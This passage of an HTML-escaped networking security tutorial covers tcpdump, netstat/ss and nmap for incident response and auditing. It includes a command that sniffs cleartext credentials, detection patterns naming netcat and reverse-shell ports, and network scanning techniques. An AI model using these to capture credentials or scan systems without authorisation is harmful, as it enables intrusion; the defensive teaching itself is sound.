    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;

&lt;span class="c"&gt;# Capture credentials in cleartext protocols:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-s0&lt;/span&gt; &lt;span class="s1"&gt;'port 21 or port 23 or port 110 or port 143'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"user|pass|login"&lt;/span&gt;

&lt;span class="c"&gt;# Large file capture with rotation:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture-%Y%m%d%H%M%S.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-G&lt;/span&gt; 3600 &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# Rotate every 3600 seconds (1 hour)&lt;/span&gt;
    &lt;span class="nt"&gt;-C&lt;/span&gt; 100                       &lt;span class="c"&gt;# Max 100MB per file&lt;/span&gt;

&lt;span class="c"&gt;# Remote capture (capture on remote host, analyse locally):&lt;/span&gt;
ssh user@remote_host &lt;span class="s2"&gt;"sudo tcpdump -i eth0 -w - -U host 192.168.1.1"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    wireshark &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; -
&lt;span class="c"&gt;# -w -: write to stdout&lt;/span&gt;
&lt;span class="c"&gt;# -U: flush after each packet (real-time)&lt;/span&gt;
&lt;span class="c"&gt;# wireshark -k: start capturing immediately&lt;/span&gt;
&lt;span class="c"&gt;# wireshark -i -: read from stdin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 tcpdump in Security Contexts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Incident Response: capture evidence before it's lost&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /evidence/&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-s&lt;/span&gt; 0 &lt;span class="se"&gt;\ &lt;/span&gt;                      &lt;span class="c"&gt;# Full packets (forensic-grade)&lt;/span&gt;
    &lt;span class="nt"&gt;-tttt&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                     &lt;span class="c"&gt;# Timestamp with date&lt;/span&gt;
    &amp;amp;                            &lt;span class="c"&gt;# Background — continue collecting&lt;/span&gt;

&lt;span class="c"&gt;# SOC: monitor for specific IOCs (Indicators of Compromise)&lt;/span&gt;
&lt;span class="nv"&gt;SUSPICIOUS_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"185.220.101.5"&lt;/span&gt;    &lt;span class="c"&gt;# Example known malicious IP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"host &lt;/span&gt;&lt;span class="nv"&gt;$SUSPICIOUS_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;tee&lt;/span&gt; /var/log/suspicious_traffic.log

&lt;span class="c"&gt;# Detect C2 beaconing (regular interval connections to same IP):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1-4&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$1 &amp;gt; 5 {print "Possible beacon: "$2" ("$1" connections)"}'&lt;/span&gt;

&lt;span class="c"&gt;# Monitor for data exfiltration (large outbound transfers):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="s1"&gt;'src net 192.168.0.0/16'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{
        split($3, src, ".")
        split($5, dst, ".")
        # Flag if source is internal, dst is external
        if (src[1] != dst[1]) sum[dst[1]"."dst[2]"."dst[3]"."dst[4]] += length($0)
    }
    END {
        for (ip in sum)
            if (sum[ip] &amp;gt; 1000000) print "Large transfer to "ip": "sum[ip]" bytes"
    }'&lt;/span&gt;

&lt;span class="c"&gt;# OT: Monitor Modbus commands (port 502):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; port 502 | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"502"&lt;/span&gt;
&lt;span class="c"&gt;# For detailed Modbus analysis: use Wireshark with Modbus dissector&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; tcpdump's strength is its availability and scriptability. On a compromised server during incident response, Wireshark may not be installed — tcpdump almost always is. Knowing how to capture and filter with tcpdump means you can gather evidence from any Unix system regardless of what security tools are installed. The output is standard pcap, readable by Wireshark for deeper analysis later.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Netstat and ss — Connection State Intelligence
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Netstat — The Legacy Connection Inspector
&lt;/h3&gt;

&lt;p&gt;netstat displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. While being replaced by &lt;code&gt;ss&lt;/code&gt; on modern Linux, netstat remains ubiquitous (Windows, macOS, older Linux).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;netstat output columns:
  Proto:     Protocol (tcp, udp, tcp6, udp6)
  Recv-Q:    Data queued to receive (waiting for application to read)
  Send-Q:    Data queued to send (waiting for network)
  Local Address:  Local IP:port of the connection
  Foreign Address: Remote IP:port
  State:     TCP state (LISTEN, ESTABLISHED, TIME_WAIT, etc.)
  PID/Program: Process owning the connection (with -p flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux netstat commands:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;          &lt;span class="c"&gt;# TCP+UDP, Listening, Numeric, with Process&lt;/span&gt;
&lt;span class="c"&gt;# -t: TCP connections&lt;/span&gt;
&lt;span class="c"&gt;# -u: UDP connections&lt;/span&gt;
&lt;span class="c"&gt;# -l: Only listening sockets&lt;/span&gt;
&lt;span class="c"&gt;# -n: Numeric (don't resolve names — faster and clearer)&lt;/span&gt;
&lt;span class="c"&gt;# -p: Show process name and PID (requires root for other users' processes)&lt;/span&gt;

netstat &lt;span class="nt"&gt;-tan&lt;/span&gt;            &lt;span class="c"&gt;# All TCP connections, numeric&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt;            &lt;span class="c"&gt;# All connections, numeric, with process&lt;/span&gt;
netstat &lt;span class="nt"&gt;-rn&lt;/span&gt;             &lt;span class="c"&gt;# Routing table, numeric&lt;/span&gt;
netstat &lt;span class="nt"&gt;-i&lt;/span&gt;              &lt;span class="c"&gt;# Interface statistics&lt;/span&gt;
netstat &lt;span class="nt"&gt;-s&lt;/span&gt;              &lt;span class="c"&gt;# Statistics by protocol (errors, drops, etc.)&lt;/span&gt;
netstat &lt;span class="nt"&gt;-c&lt;/span&gt; 2            &lt;span class="c"&gt;# Refresh every 2 seconds (continuous)&lt;/span&gt;

&lt;span class="c"&gt;# Useful patterns:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;LISTEN                        &lt;span class="c"&gt;# All listening services&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;ESTABLISHED                  &lt;span class="c"&gt;# Active connections&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; :4444                        &lt;span class="c"&gt;# Metasploit default port&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'0.0.0.0:*'&lt;/span&gt;                 &lt;span class="c"&gt;# Services exposed on all interfaces&lt;/span&gt;

&lt;span class="c"&gt;# Windows netstat:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt;             &lt;span class="c"&gt;# All connections, numeric, with PID&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt; | findstr :3389   &lt;span class="c"&gt;# RDP connections&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt; | findstr LISTENING  &lt;span class="c"&gt;# All listening ports&lt;/span&gt;
netstat &lt;span class="nt"&gt;-b&lt;/span&gt;               &lt;span class="c"&gt;# Show owning executable (requires admin)&lt;/span&gt;
netstat &lt;span class="nt"&gt;-r&lt;/span&gt;               &lt;span class="c"&gt;# Routing table&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 ss — The Modern Replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ss&lt;/code&gt; (Socket Statistics) is faster than netstat, provides more information, and is the current standard on modern Linux. It reads from the kernel's netlink socket rather than /proc.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ss commands:&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;               &lt;span class="c"&gt;# Same as netstat equivalent&lt;/span&gt;
&lt;span class="c"&gt;# -t: TCP&lt;/span&gt;
&lt;span class="c"&gt;# -u: UDP&lt;/span&gt;
&lt;span class="c"&gt;# -l: Listening&lt;/span&gt;
&lt;span class="c"&gt;# -n: Numeric&lt;/span&gt;
&lt;span class="c"&gt;# -p: Process info&lt;/span&gt;

ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established  &lt;span class="c"&gt;# Only established TCP connections&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state time-wait    &lt;span class="c"&gt;# TIME_WAIT connections (post-close)&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state syn-recv     &lt;span class="c"&gt;# SYN_RECV (half-open, potential SYN flood indicator)&lt;/span&gt;
ss &lt;span class="nt"&gt;-s&lt;/span&gt;                      &lt;span class="c"&gt;# Summary statistics&lt;/span&gt;
ss &lt;span class="nt"&gt;-4&lt;/span&gt;                      &lt;span class="c"&gt;# IPv4 only&lt;/span&gt;
ss &lt;span class="nt"&gt;-6&lt;/span&gt;                      &lt;span class="c"&gt;# IPv6 only&lt;/span&gt;

&lt;span class="c"&gt;# Filtering (more powerful than netstat):&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; dst 192.168.1.100      &lt;span class="c"&gt;# Connections TO this IP&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; src 192.168.1.5        &lt;span class="c"&gt;# Connections FROM this IP&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; dport &lt;span class="o"&gt;==&lt;/span&gt; :443          &lt;span class="c"&gt;# Connections TO port 443&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; sport &lt;span class="o"&gt;==&lt;/span&gt; :22           &lt;span class="c"&gt;# Connections FROM port 22&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; &lt;span class="s1"&gt;'dst 192.168.1.0/24'&lt;/span&gt;  &lt;span class="c"&gt;# All connections to subnet&lt;/span&gt;

&lt;span class="c"&gt;# Advanced ss usage:&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $5}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# Count connections per remote IP — detect port scan or DDoS source&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Security Analysis with Netstat/ss
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ============ INCIDENT RESPONSE CHECKLIST ============&lt;/span&gt;
&lt;span class="c"&gt;# Run these immediately on a suspected compromised system:&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== LISTENING SERVICES ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
&lt;span class="c"&gt;# Look for: unexpected listening services, non-standard ports, unusual processes&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== ESTABLISHED CONNECTIONS ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; netstat &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;ESTABLISHED
&lt;span class="c"&gt;# Look for: connections to unexpected external IPs, encrypted channels on unusual ports&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== UNUSUAL PORTS ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-vE&lt;/span&gt; &lt;span class="s2"&gt;":22|:80|:443|:53|:3306|:5432"&lt;/span&gt;  &lt;span class="c"&gt;# Show non-common ports&lt;/span&gt;
&lt;span class="c"&gt;# Look for: reverse shells (4444, 5555, common Metasploit ports)&lt;/span&gt;
&lt;span class="c"&gt;#           C2 channels (any port to external IPs)&lt;/span&gt;
&lt;span class="c"&gt;#           Pivoting (unexpected internal connections)&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== CONNECTION COUNTS BY REMOTE IP ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tn&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {split($5,a,":"); print a[1]}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# High count from same IP = port scan or C2 beaconing&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== PROCESSES WITH NETWORK ACTIVITY ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'pid=[0-9]+'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;pid&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;pid_num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;#pid=&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
    &lt;span class="nv"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$pid_num&lt;/span&gt;/cmdline 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PID &lt;/span&gt;&lt;span class="nv"&gt;$pid_num&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="nv"&gt;$proc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Match processes to their network activity — unexpected process making connections = suspicious&lt;/span&gt;

&lt;span class="c"&gt;# ============ DETECT REVERSE SHELLS ============&lt;/span&gt;
&lt;span class="c"&gt;# Reverse shells often appear as: sh/bash/python/perl connecting outbound&lt;/span&gt;
&lt;span class="c"&gt;# Look for shell processes with established outbound connections:&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"bash|sh|python|perl|ruby|nc|ncat|netcat"&lt;/span&gt;

&lt;span class="c"&gt;# Detect bind shells (listening shells):&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"bash|sh|python|perl|nc|ncat"&lt;/span&gt;

&lt;span class="c"&gt;# ============ DETECT PORT SCANNING ============&lt;/span&gt;
&lt;span class="c"&gt;# Short-lived connections in TIME_WAIT = scanner was here&lt;/span&gt;
ss &lt;span class="nt"&gt;-tn&lt;/span&gt; state time-wait | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;span class="c"&gt;# Many TIME_WAIT connections from same source = port scanner&lt;/span&gt;

&lt;span class="c"&gt;# ============ WINDOWS SPECIFIC ============&lt;/span&gt;
&lt;span class="c"&gt;# Find processes behind suspicious connections (Windows):&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt; | findstr :4444
tasklist /fi &lt;span class="s2"&gt;"pid eq 1234"&lt;/span&gt;         &lt;span class="c"&gt;# Replace 1234 with PID from netstat&lt;/span&gt;
&lt;span class="c"&gt;# Correlate PID to process name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Connection States Reference:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TCP Connection States and Security Meaning:

LISTEN:      Server waiting for connections. Normal for services.
             Unexpected listening ports = potential backdoor

ESTABLISHED: Active data transfer. Normal.
             Unexpected external ESTABLISHED = possible compromise

SYN_SENT:    Client initiated connection, waiting for SYN-ACK
             Many SYN_SENT to different ports = you are port scanning
             Many SYN_SENT to different IPs = lateral movement or malware

SYN_RECV:    SYN received, SYN-ACK sent, waiting for ACK
             Many SYN_RECV = you are being SYN flooded (DDoS)

FIN_WAIT_1:  Sent FIN, waiting for ACK (normal close)
FIN_WAIT_2:  Got ACK, waiting for remote FIN (normal close)
CLOSE_WAIT:  Remote sent FIN, application hasn't closed yet
             Many CLOSE_WAIT = application bug (not closing sockets properly)

TIME_WAIT:   Both FINs acknowledged, waiting for stragglers
             Many TIME_WAIT = heavily used server or recent scanning activity

CLOSED:      Connection fully terminated (not usually shown)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; A compromised machine almost always has evidence in its connection table — a reverse shell process with an outbound ESTABLISHED connection, an unexpected LISTENING port for a backdoor, or unusual processes associated with network connections. The netstat/ss output is one of the first things to examine in any suspected compromise. Baseline normal connection state and know what processes should be listening — any deviation is a finding.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Nmap — The Network Mapper
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Nmap Architecture and Scan Types
&lt;/h3&gt;

&lt;p&gt;Nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. It sends specially crafted packets and analyses responses to determine which hosts are available, what services they run, what operating system they use, and other security-relevant information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap Scan Types — From Stealthy to Noisy:

Stealthiness:
  Most Stealthy                                              Most Noisy
  ────────────────────────────────────────────────────────────────
  Idle  FIN  NULL XMAS ACK  SYN(Half) Connect  Version  Script  Agressive
  Scan  Scan Scan Scan Scan    Scan     Scan     Scan     Scan    Scan

Detection likelihood:
  Idle scan: virtually undetectable (uses zombie host)
  SYN scan: unlikely to be logged by target (half-open, no connection)
  Connect scan: logged by target (full connection established)
  Version scan: logged + leaves evidence of probe traffic
  Aggressive: loud, generates many entries in logs and IDS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Host Discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Host discovery — determine which hosts are alive before port scanning&lt;/span&gt;

&lt;span class="c"&gt;# ICMP echo (ping sweep) — default if not root:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24
&lt;span class="c"&gt;# -sn: skip port scan (ping only)&lt;/span&gt;
&lt;span class="c"&gt;# Uses: ICMP echo, TCP SYN to 443, TCP ACK to 80, ICMP timestamp&lt;/span&gt;

&lt;span class="c"&gt;# ICMP only (root required):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PE&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ICMP echo request&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PP&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ICMP timestamp request (bypasses some firewalls)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PM&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ICMP address mask request&lt;/span&gt;

&lt;span class="c"&gt;# TCP SYN discovery (no port scan):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PS22&lt;/span&gt;,80,443,3389 192.168.1.0/24  &lt;span class="c"&gt;# Send SYN to these ports&lt;/span&gt;
&lt;span class="c"&gt;# Hosts that respond = alive (even if they RST — they're up)&lt;/span&gt;

&lt;span class="c"&gt;# UDP discovery:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PU53&lt;/span&gt;,161,137 192.168.1.0/24  &lt;span class="c"&gt;# UDP probe&lt;/span&gt;

&lt;span class="c"&gt;# ARP discovery (fastest on local network):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PR&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ARP (only works on same subnet)&lt;/span&gt;

&lt;span class="c"&gt;# No ping (scan even if host appears down — useful for firewalled hosts):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; 192.168.1.100       &lt;span class="c"&gt;# Skip host discovery, scan directly&lt;/span&gt;

&lt;span class="c"&gt;# Large network scanning with timing:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--min-parallelism&lt;/span&gt; 100 10.0.0.0/8  &lt;span class="c"&gt;# Fast scan of Class A&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;--max-rtt-timeout&lt;/span&gt; 200ms &lt;span class="nt"&gt;--min-hosts&lt;/span&gt; 4096 192.168.0.0/16

&lt;span class="c"&gt;# Exclude specific hosts from scan:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;--exclude&lt;/span&gt; 192.168.1.1  &lt;span class="c"&gt;# Skip router&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;--excludefile&lt;/span&gt; critical_hosts.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Port Scanning Techniques
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SYN Scan — default when running as root (half-open scan):&lt;/span&gt;
